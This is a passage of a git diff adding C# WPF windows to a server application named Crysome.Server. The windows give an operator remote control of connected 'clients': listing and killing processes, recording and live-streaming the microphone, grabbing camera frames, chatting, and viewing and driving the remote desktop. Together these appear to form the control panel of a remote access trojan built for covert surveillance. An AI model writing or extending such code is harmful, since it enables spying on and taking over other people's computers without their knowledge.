System.Collections.ObjectModel; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Data; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media; +using System.Windows.Media.Imaging; +using System.Windows.Threading; +using Crysome.Common.Network.Packets.Client; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class ProcessManagerWindow : FluentWindow, IComponentConnector, IStyleConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private readonly ObservableCollection _processes = new ObservableCollection(); + + private readonly ICollectionView _processView; + + internal TextBlock TitleText; + + internal Button RefreshBtn; + + internal Button CloseBtn; + + internal TextBox SearchBox; + + internal ListView ProcessList; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public ProcessManagerWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Process Manager — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + _processView = CollectionViewSource.GetDefaultView(_processes); + ProcessList.ItemsSource = (IEnumerable)_processView; + ((FrameworkElement)this).Loaded += delegate + { + Refresh(); + }; + } + + private void Refresh() + { + _processes.Clear(); + StatusText.Text = "Loading..."; + _vm.RequestProcessList(_client, delegate(GetProcessListResponsePacket packet) + { + if (((packet != null) ? packet.Processes : null) != null) + { + foreach (ProcessListEntry process in packet.Processes) + { + ImageSource icon = LoadIcon(process.IconData); + _processes.Add(new ProcessItemViewModel + { + Name = process.Name, + Pid = process.Pid, + Icon = icon + }); + } + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + ApplySearchFilter(); + }); + } + }); + } + + private void SearchBox_TextChanged(object sender, TextChangedEventArgs e) + { + ApplySearchFilter(); + } + + private void ApplySearchFilter() + { + string q = (SearchBox?.Text ?? "").Trim().ToLowerInvariant(); + _processView.Filter = (string.IsNullOrEmpty(q) ? null : ((Predicate)((object o) => o is ProcessItemViewModel processItemViewModel && ((processItemViewModel.Name ?? "").ToLowerInvariant().Contains(q) || processItemViewModel.Pid.ToString().Contains(q))))); + int num = (string.IsNullOrEmpty(q) ? _processes.Count : ((IEnumerable)_processView).Cast().Count()); + StatusText.Text = (string.IsNullOrEmpty(q) ? (_processes.Count + " processes") : (num + " of " + _processes.Count + " processes")); + } + + private static ImageSource LoadIcon(byte[] data) + { + if (data == null || data.Length == 0) + { + return null; + } + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(data); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + return bitmapImage; + } + catch + { + return null; + } + } + + private void RefreshBtn_Click(object sender, RoutedEventArgs e) + { + Refresh(); + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + private void KillBtn_Click(object sender, RoutedEventArgs e) + { + if ((sender as FrameworkElement)?.DataContext is ProcessItemViewModel processItemViewModel) + { + _vm.KillProcessOnClient(_client, processItemViewModel.Pid); + _processes.Remove(processItemViewModel); + StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid; + } + } + + private void ProcessList_MouseDoubleClick(object sender, MouseButtonEventArgs e) + { + if (ProcessList.SelectedItem is ProcessItemViewModel processItemViewModel) + { + _vm.KillProcessOnClient(_client, processItemViewModel.Pid); + _processes.Remove(processItemViewModel); + StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid; + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/processmanagerwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + RefreshBtn = (Button)target; + ((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click; + break; + case 4: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 5: + SearchBox = (TextBox)target; + SearchBox.TextChanged += SearchBox_TextChanged; + break; + case 6: + ProcessList = (ListView)target; + ProcessList.MouseDoubleClick += ProcessList_MouseDoubleClick; + break; + case 8: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IStyleConnector.Connect(int connectionId, object target) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + if (connectionId == 7) + { + ((ButtonBase)(Button)target).Click += KillBtn_Click; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/RemoteAudioWindow.cs b/Crysome.Server/Crysome.Server.View/RemoteAudioWindow.cs new file mode 100644 index 0000000..3e895d3 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/RemoteAudioWindow.cs @@ -0,0 +1,266 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using NAudio.Wave; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class RemoteAudioWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private MediaPlayer _player; + + private string[] _devices = new string[0]; + + private BufferedWaveProvider _bufferedProvider; + + private WaveOutEvent _waveOut; + + private bool _listening; + + internal TextBlock TitleText; + + internal Button CloseBtn; + + internal ComboBox MicCombo; + + internal Button RecordBtn; + + internal Button ListenBtn; + + internal Button StopListenBtn; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + StatusText.Text = "Select mic, then Record (5 sec) or Listen Live."; + ((FrameworkElement)this).Loaded += delegate + { + _vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC"); + LoadMics(); + }; + ((Window)this).Closed += delegate + { + _player?.Close(); + StopListening(); + }; + } + + private void LoadMics() + { + _vm.GetAudioDevices(_client, delegate(string[] devs) + { + _devices = devs ?? new string[0]; + if (_devices.Length == 0) + { + _devices = new string[1] { "(No microphones found)" }; + } + MicCombo.Items.Clear(); + for (int i = 0; i < _devices.Length; i++) + { + MicCombo.Items.Add(_devices[i] ?? ("Mic " + i)); + } + if (MicCombo.Items.Count > 0) + { + MicCombo.SelectedIndex = 0; + } + }); + } + + private void RecordBtn_Click(object sender, RoutedEventArgs e) + { + ((UIElement)(object)RecordBtn).IsEnabled = false; + StatusText.Text = "Recording on remote machine..."; + int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0); + _vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData) + { + ((UIElement)(object)RecordBtn).IsEnabled = true; + if (wavData == null || wavData.Length == 0) + { + StatusText.Text = "No audio received."; + return; + } + try + { + string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav"); + File.WriteAllBytes(tmp, wavData); + _player?.Close(); + _player = new MediaPlayer(); + _player.Open(new Uri(tmp)); + _player.MediaEnded += delegate + { + try + { + File.Delete(tmp); + } + catch + { + } + _player.Close(); + }; + _player.Play(); + StatusText.Text = "Playing " + wavData.Length / 1024 + " KB..."; + } + catch (Exception ex) + { + StatusText.Text = "Play failed: " + ex.Message; + } + }); + } + + private void ListenBtn_Click(object sender, RoutedEventArgs e) + { + int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0); + _listening = true; + ((UIElement)(object)ListenBtn).IsEnabled = false; + ((UIElement)(object)StopListenBtn).IsEnabled = true; + ((UIElement)(object)RecordBtn).IsEnabled = false; + StatusText.Text = "Listening live..."; + WaveFormat waveFormat = new WaveFormat(16000, 16, 1); + _bufferedProvider = new BufferedWaveProvider(waveFormat) + { + BufferDuration = TimeSpan.FromSeconds(5L) + }; + _waveOut = new WaveOutEvent(); + _waveOut.Init(_bufferedProvider); + _waveOut.Play(); + _vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk) + { + if (!_listening || _bufferedProvider == null) + { + return; + } + try + { + _bufferedProvider.AddSamples(chunk, 0, chunk.Length); + } + catch + { + } + }); + } + + private void StopListenBtn_Click(object sender, RoutedEventArgs e) + { + StopListening(); + } + + private void StopListening() + { + _listening = false; + _vm?.StopAudioStream(_client); + ((UIElement)(object)ListenBtn).IsEnabled = true; + ((UIElement)(object)StopListenBtn).IsEnabled = false; + ((UIElement)(object)RecordBtn).IsEnabled = true; + try + { + _waveOut?.Stop(); + _waveOut?.Dispose(); + } + catch + { + } + _waveOut = null; + _bufferedProvider = null; + StatusText.Text = "Stopped."; + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 4: + MicCombo = (ComboBox)target; + break; + case 5: + RecordBtn = (Button)target; + ((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click; + break; + case 6: + ListenBtn = (Button)target; + ((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click; + break; + case 7: + StopListenBtn = (Button)target; + ((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click; + break; + case 8: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/RemoteCameraWindow.cs b/Crysome.Server/Crysome.Server.View/RemoteCameraWindow.cs new file mode 100644 index 0000000..321aa54 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/RemoteCameraWindow.cs @@ -0,0 +1,174 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media.Imaging; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class RemoteCameraWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private string[] _devices = new string[0]; + + internal TextBlock TitleText; + + internal Button RefreshBtn; + + internal Button CloseBtn; + + internal ComboBox CameraCombo; + + internal Image CameraImage; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public RemoteCameraWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Remote Camera — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + ((FrameworkElement)this).Loaded += delegate + { + _vm.Log("RemoteCamera Loaded, calling LoadCameras", "CAM"); + LoadCameras(); + }; + } + + private void LoadCameras() + { + _vm.GetCameraDevices(_client, delegate(string[] devs) + { + _devices = devs ?? new string[0]; + if (_devices.Length == 0) + { + _devices = new string[1] { "(No cameras found)" }; + } + CameraCombo.Items.Clear(); + for (int i = 0; i < _devices.Length; i++) + { + CameraCombo.Items.Add(_devices[i] ?? ("Camera " + i)); + } + if (CameraCombo.Items.Count > 0) + { + CameraCombo.SelectedIndex = 0; + } + }); + } + + private void RefreshBtn_Click(object sender, RoutedEventArgs e) + { + ((UIElement)(object)RefreshBtn).IsEnabled = false; + StatusText.Text = "Requesting frame..."; + int deviceIndex = ((_devices.Length != 0 && _devices[0] != "(No cameras found)" && CameraCombo.SelectedIndex >= 0) ? CameraCombo.SelectedIndex : 0); + _vm.RequestCameraFrame(_client, deviceIndex, delegate(byte[] jpegData) + { + ((UIElement)(object)RefreshBtn).IsEnabled = true; + if (jpegData == null || jpegData.Length == 0) + { + StatusText.Text = "No frame received (no camera?)."; + CameraImage.Source = null; + return; + } + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(jpegData); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + CameraImage.Source = bitmapImage; + StatusText.Text = "Frame received."; + } + catch (Exception ex) + { + StatusText.Text = "Failed to show frame: " + ex.Message; + } + }); + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotecamerawindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + RefreshBtn = (Button)target; + ((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click; + break; + case 4: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 5: + CameraCombo = (ComboBox)target; + break; + case 6: + CameraImage = (Image)target; + break; + case 7: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/RemoteChatWindow.cs b/Crysome.Server/Crysome.Server.View/RemoteChatWindow.cs new file mode 100644 index 0000000..1ed1ede --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/RemoteChatWindow.cs @@ -0,0 +1,159 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Threading; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class RemoteChatWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + internal TextBlock TitleText; + + internal Button CloseBtn; + + internal ListBox ChatList; + + internal TextBox MessageBox; + + internal Button SendBtn; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public RemoteChatWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Chat — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + _vm.RegisterChatHandler(_client, OnChatMessage); + ((Window)this).Closed += delegate + { + _vm.UnregisterChatHandler(_client); + }; + } + + private void OnChatMessage(string from, string msg) + { + ((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ChatList.Items.Add("[" + from + "]: " + msg); + if (ChatList.Items.Count > 0) + { + ChatList.ScrollIntoView(ChatList.Items[ChatList.Items.Count - 1]); + } + }, Array.Empty()); + } + + private void SendBtn_Click(object sender, RoutedEventArgs e) + { + SendMessage(); + } + + private void MessageBox_KeyDown(object sender, KeyEventArgs e) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if ((int)e.Key == 6 && !((Enum)e.KeyboardDevice.Modifiers).HasFlag((Enum)(object)(ModifierKeys)4)) + { + e.Handled = true; + SendMessage(); + } + } + + private void SendMessage() + { + string text = MessageBox?.Text?.Trim(); + if (!string.IsNullOrEmpty(text)) + { + MessageBox.Clear(); + _vm.SendChatMessage(_client, text); + OnChatMessage("You", text); + } + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotechatwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Expected O, but got Unknown + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 4: + ChatList = (ListBox)target; + break; + case 5: + MessageBox = (TextBox)target; + MessageBox.KeyDown += MessageBox_KeyDown; + break; + case 6: + SendBtn = (Button)target; + ((ButtonBase)(object)SendBtn).Click += SendBtn_Click; + break; + case 7: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/RemoteDesktopWindow.cs b/Crysome.Server/Crysome.Server.View/RemoteDesktopWindow.cs new file mode 100644 index 0000000..09eeac5 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/RemoteDesktopWindow.cs @@ -0,0 +1,571 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media.Imaging; +using System.Windows.Threading; +using Crysome.Common.Network.Packets.Client; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class RemoteDesktopWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private int _remoteWidth = 1920; + + private int _remoteHeight = 1080; + + private bool _streaming; + + private volatile byte[] _latestJpeg; + private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap; + private System.Drawing.Bitmap _decodeBitmap; + private readonly object _frameLock = new object(); + private bool _renderHooked; + + private ScreenInfo[] _screens; + + private DateTime _lastMouseMove = DateTime.MinValue; + + private System.Windows.Controls.ComboBox _captureModeCombo; + + internal TextBlock TitleText; + + internal ComboBox ScreenCombo; + + internal Button StartBtn; + + internal Button StopBtn; + + internal Button MinimizeBtn; + + internal Button MaximizeBtn; + + internal Button CloseBtn; + + internal Border DesktopArea; + + internal Viewbox DesktopViewbox; + + internal Image DesktopImage; + + internal TextBlock StatusText; + + internal TextBlock QualityText; + + internal ToggleSwitch MouseControlSwitch; + + internal ToggleSwitch KeyboardControlSwitch; + + private bool _contentLoaded; + + public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + // Find the parent of ScreenCombo to insert our capture mode combo + var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel; + if (screenParent != null) + { + _captureModeCombo = new System.Windows.Controls.ComboBox(); + _captureModeCombo.Items.Add("Auto (DXGI → GDI+)"); + _captureModeCombo.Items.Add("DXGI Only"); + _captureModeCombo.Items.Add("GDI+ Only"); + _captureModeCombo.SelectedIndex = 0; + _captureModeCombo.Width = 160; + _captureModeCombo.Margin = new Thickness(8, 0, 0, 0); + // Insert after ScreenCombo + int idx = screenParent.Children.IndexOf(ScreenCombo); + if (idx >= 0) + screenParent.Children.Insert(idx + 1, _captureModeCombo); + else + screenParent.Children.Add(_captureModeCombo); + } + ((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true); + ((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true); + ((Window)this).Closed += delegate + { + if (_renderHooked) + { + _renderHooked = false; + System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender; + } + if (_streaming) + { + _vm.StopRemoteDesktop(_client); + } + _vm.UnregisterDesktopFrames(_client); + try { _decodeBitmap?.Dispose(); } catch { } + }; + ((FrameworkElement)this).Loaded += delegate + { + RequestScreenList(); + }; + } + + private void RequestScreenList() + { + ScreenCombo.Items.Clear(); + ScreenCombo.Items.Add("Loading..."); + ScreenCombo.SelectedIndex = 0; + ScreenCombo.IsEnabled = false; + _vm.GetScreens(_client, delegate(ScreensResponsePacket resp) + { + _screens = ((resp != null) ? resp.Screens : null); + ScreenCombo.Items.Clear(); + if (_screens == null || _screens.Length == 0) + { + ScreenCombo.Items.Add("Primary (default)"); + ScreenCombo.SelectedIndex = 0; + } + else + { + for (int i = 0; i < _screens.Length; i++) + { + ScreenInfo val = _screens[i]; + string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")"; + if (val.IsPrimary) + { + text += " ★"; + } + ScreenCombo.Items.Add(text); + } + for (int j = 0; j < _screens.Length; j++) + { + if (_screens[j].IsPrimary) + { + ScreenCombo.SelectedIndex = j; + break; + } + } + if (ScreenCombo.SelectedIndex < 0) + { + ScreenCombo.SelectedIndex = 0; + } + } + ScreenCombo.IsEnabled = true; + }); + } + + private int GetSelectedScreenIndex() + { + if (_screens == null || _screens.Length == 0) + { + return -1; + } + int selectedIndex = ScreenCombo.SelectedIndex; + if (selectedIndex < 0 || selectedIndex >= _screens.Length) + { + return -1; + } + return selectedIndex; + } + + private void OnPreviewKeyDown(object sender, KeyEventArgs e) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; + if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive) + { + int num = KeyInterop.VirtualKeyFromKey(e.Key); + if (num >= 0 && num <= 255) + { + _vm.SendRemoteInput(_client, 3, 0, 0, num); + e.Handled = true; + } + } + } + + private void OnPreviewKeyUp(object sender, KeyEventArgs e) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; + if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive) + { + int num = KeyInterop.VirtualKeyFromKey(e.Key); + if (num >= 0 && num <= 255) + { + _vm.SendRemoteInput(_client, 4, 0, 0, num); + e.Handled = true; + } + } + } + + private void StartBtn_Click(object sender, RoutedEventArgs e) + { + _streaming = true; + ((UIElement)(object)StartBtn).IsEnabled = false; + ((UIElement)(object)StopBtn).IsEnabled = true; + ScreenCombo.IsEnabled = false; + byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0); + string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto"; + StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard."; + QualityText.Text = "Quality: HD (80)"; + DesktopArea?.Focus(); + int selectedScreenIndex = GetSelectedScreenIndex(); + if (!_renderHooked) + { + _renderHooked = true; + System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender; + } + _vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData) + { + if (imageData != null && imageData.Length > 0) + _latestJpeg = imageData; + }, delegate(int quality) + { + string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low"))); + int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2)))); + QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)"; + }); + } + + private void OnVsyncRender(object sender, EventArgs e) + { + if (!_streaming) + return; + + byte[] jpeg = _latestJpeg; + if (jpeg == null) + return; + _latestJpeg = null; + + try + { + using (var ms = new MemoryStream(jpeg)) + { + var bmp = _decodeBitmap; + if (bmp != null) + { + try { bmp.Dispose(); } catch { } + } + _decodeBitmap = new System.Drawing.Bitmap(ms); + bmp = _decodeBitmap; + + int w = bmp.Width; + int h = bmp.Height; + + if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h) + { + _writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap( + w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null); + DesktopImage.Source = _writeableBitmap; + _remoteWidth = w; + _remoteHeight = h; + } + + var bmpData = bmp.LockBits( + new System.Drawing.Rectangle(0, 0, w, h), + System.Drawing.Imaging.ImageLockMode.ReadOnly, + System.Drawing.Imaging.PixelFormat.Format24bppRgb); + + _writeableBitmap.Lock(); + try + { + IntPtr src = bmpData.Scan0; + IntPtr dst = _writeableBitmap.BackBuffer; + int srcStride = bmpData.Stride; + int dstStride = _writeableBitmap.BackBufferStride; + + if (srcStride == dstStride) + { + unsafe + { + Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h); + } + } + else + { + int copyLen = Math.Min(srcStride, dstStride); + for (int y = 0; y < h; y++) + { + unsafe + { + Buffer.MemoryCopy( + (byte*)src + y * srcStride, + (byte*)dst + y * dstStride, + copyLen, copyLen); + } + } + } + _writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h)); + } + finally + { + _writeableBitmap.Unlock(); + bmp.UnlockBits(bmpData); + } + } + } + catch + { + } + } + + private void StopBtn_Click(object sender, RoutedEventArgs e) + { + _streaming = false; + ((UIElement)(object)StartBtn).IsEnabled = true; + ((UIElement)(object)StopBtn).IsEnabled = false; + ScreenCombo.IsEnabled = true; + _vm.StopRemoteDesktop(_client); + _vm.UnregisterDesktopFrames(_client); + if (_renderHooked) + { + _renderHooked = false; + System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender; + } + _latestJpeg = null; + try { _decodeBitmap?.Dispose(); } catch { } + _decodeBitmap = null; + _writeableBitmap = null; + DesktopImage.Source = null; + StatusText.Text = "Stopped."; + QualityText.Text = ""; + } + + private void MinimizeBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).WindowState = WindowState.Minimized; + } + + private void MaximizeBtn_Click(object sender, RoutedEventArgs e) + { + if (((Window)this).WindowState == WindowState.Maximized) + { + ((Window)this).WindowState = WindowState.Normal; + ((ContentControl)(object)MaximizeBtn).Content = "□"; + ((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize"; + } + else + { + ((Window)this).WindowState = WindowState.Maximized; + ((ContentControl)(object)MaximizeBtn).Content = "❒"; + ((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore"; + } + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { 